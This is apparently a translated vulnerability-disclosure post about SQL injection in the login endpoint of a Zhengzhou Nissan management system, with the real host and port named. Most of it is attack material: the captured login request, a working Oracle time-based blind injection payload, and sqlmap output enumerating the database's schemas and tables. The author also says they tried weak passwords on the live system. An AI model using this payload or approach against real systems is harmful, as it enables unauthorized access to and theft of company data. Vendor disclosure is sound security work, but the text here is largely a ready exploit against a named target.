SQL Injection in a management system of Zhengzhou Nissan # a large amount of data information can be obtained

SQL Injection in a management system of Zhengzhou Nissan # a large amount of data information can be obtained

RT, a large amount of database information

0x01 vulnerability location
 

eip.zznissan.com.cn:2051

Or the electric vehicle management system. I just tried a weak password. Let's test it in depth.

0x02 Vulnerability Type
 

SQL Injection-Logon

0x03 vulnerability details

Log On

Capture the POST package and discover that the request data is in json format ~~~

POST/Data/UserManagement. svc/LoginForWebUser HTTP/1.1

Host: eip.zznissan.com.cn:2051User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/json; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://eip.zznissan.com.cn:2051/indexLogin.htmContent-Length: 35Connection: keep-alivePragma: no-cacheCache-Control: no-cache{"UserName":"aaa","Password":"aaa"}

0x04 vulnerability Exploitation

Test sqlmap.

Proof of vulnerability:

0X05 proof of vulnerability

As a result, a large amount of data information is found.

Injection Information

Sqlmap identified the following injection points with a total of 101 HTTP (s) requests:

---Place: (custom) POSTParameter: JSON #1*    Type: AND/OR time-based blind    Title: Oracle AND time-based blind    Payload: {"UserName":"aaa' AND 7527=DBMS_PIPE.RECEIVE_MESSAGE(CHR(107)||CHR(104)||CHR(117)||CHR(112),5) AND 'pfws'='pfws","Password":"aaa"}---[13:46:38] [INFO] the back-end DBMS is Oracleweb server operating system: Windows 2008 R2 or 7web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5back-end DBMS: Oracle

Database Information

Available databases [24]:

[*] "IX\X02"[*] "OWBSYS!"[*] APEX_030200[*] APPQOSSYS[*] CTXSYS[*] DBSNMP[*] EXFSYS[*] FLOWS_FILES[*] HR[*] MDSYS[*] OE[*] OLAPSYS[*] ORDDATA[*] ORDSYS[*] OUTMN[*] PM[*] RICHAN[*] SCOTT[*] SH[*] SYS[*] SYSMAN[*] SYSTEM[*] WMSYS[*] XDB

It is easy to obtain table data. We will not go into the details here.

[15:38:08] [INFO] fetching database (schema) names

[15:38:08] [INFO] fetching number of databases[15:38:08] [INFO] resumed: 24[15:38:08] [INFO] resumed: APEX_030200[15:38:08] [INFO] resumed: APPQOSSYS[15:38:08] [INFO] resumed: CTXSYS[15:38:08] [INFO] resumed: DBSNMP[15:38:08] [INFO] resumed: EXFSYS[15:38:08] [INFO] resumed: FLOWS_FILES[15:38:08] [INFO] resumed: HR[15:38:08] [INFO] resumed: IX\x02[15:38:08] [INFO] resumed: MDSYS[15:38:08] [INFO] resumed: OE[15:38:08] [INFO] resumed: OLAPSYS[15:38:08] [INFO] resumed: ORDDATA[15:38:08] [INFO] resumed: ORDSYS[15:38:08] [INFO] resumed: OUTMN[15:38:08] [INFO] resumed: OWBSYS![15:38:08] [INFO] resumed: PM[15:38:08] [INFO] resumed: RICHAN[15:38:08] [INFO] resumed: SCOTT[15:38:08] [INFO] resumed: SH[15:38:08] [INFO] resumed: SYS[15:38:08] [INFO] resumed: SYSMAN[15:38:08] [INFO] resumed: SYSTEM[15:38:08] [INFO] resumed: WMSYS[15:38:08] [INFO] resumed: XDB[15:38:08] [INFO] fetching tables for databases: 'IX, OWBSYS!, APEX_030200, APPQOSSYS, CTXSYS, DBSNMP, EXFSYS, FLOWS_FILES, HR, MDSYS, OE, OLAPSYS, ORDDATA, ORDSYS, OUTMN, PM, RICHAN, SCOTT, SH, SYS, SYSMAN, SYSTEM, WMSYS, XDB'[15:38:08] [INFO] fetching number of tables for database 'ORDSYS'[15:38:08] [INFO] resumed: 5[15:38:08] [INFO] resumed: SI_IMAGE_FORMATS_TAB[15:38:08] [INFO] resumed: SI_FEATURES_TAB[15:38:08] [INFO] resumed: SI_VALUES_TABA[15:38:08] [INFO] resumed: ORD_USAGE_RECS[15:38:08] [INFO] resumed: ORD_CARTRIDGE_COMPONENTS[15:38:08] [INFO] fetching number of tables for database 'HR'[15:38:08] [INFO] resumed: 7[15:38:08] [INFO] resumed: REGIONS[15:38:08] [INFO] resumed: LOCATIONS![15:38:08] [INFO] resumed: DEPARTMENTS[15:38:08] [INFO] resumed: JOBS[15:38:08] [INFO] resumed: EMPLOYEES[15:38:08] [INFO] resumed: JOB_HISTORY[15:38:08] [INFO] resumed: CQUNTRIES[15:38:08] [INFO] fetching number of tables for database 'APEX_030200'[15:38:08] [INFO] resumed: 360[15:38:08] [INFO] resumed: WWV_FLOW_COMPANIES[15:38:08] [INFO] resumed: WWV_FLOW_ACTIVITY_LOG_NUMBER%[15:38:08] [INFO] resumed: WWV_FLOW_USER_ACCESS_LOG_NUM$[15:38:08] [INFO] resumed: WWV_FLOW_DUAL100

Test now, OK

Solution:

Hand it over to the manufacturer.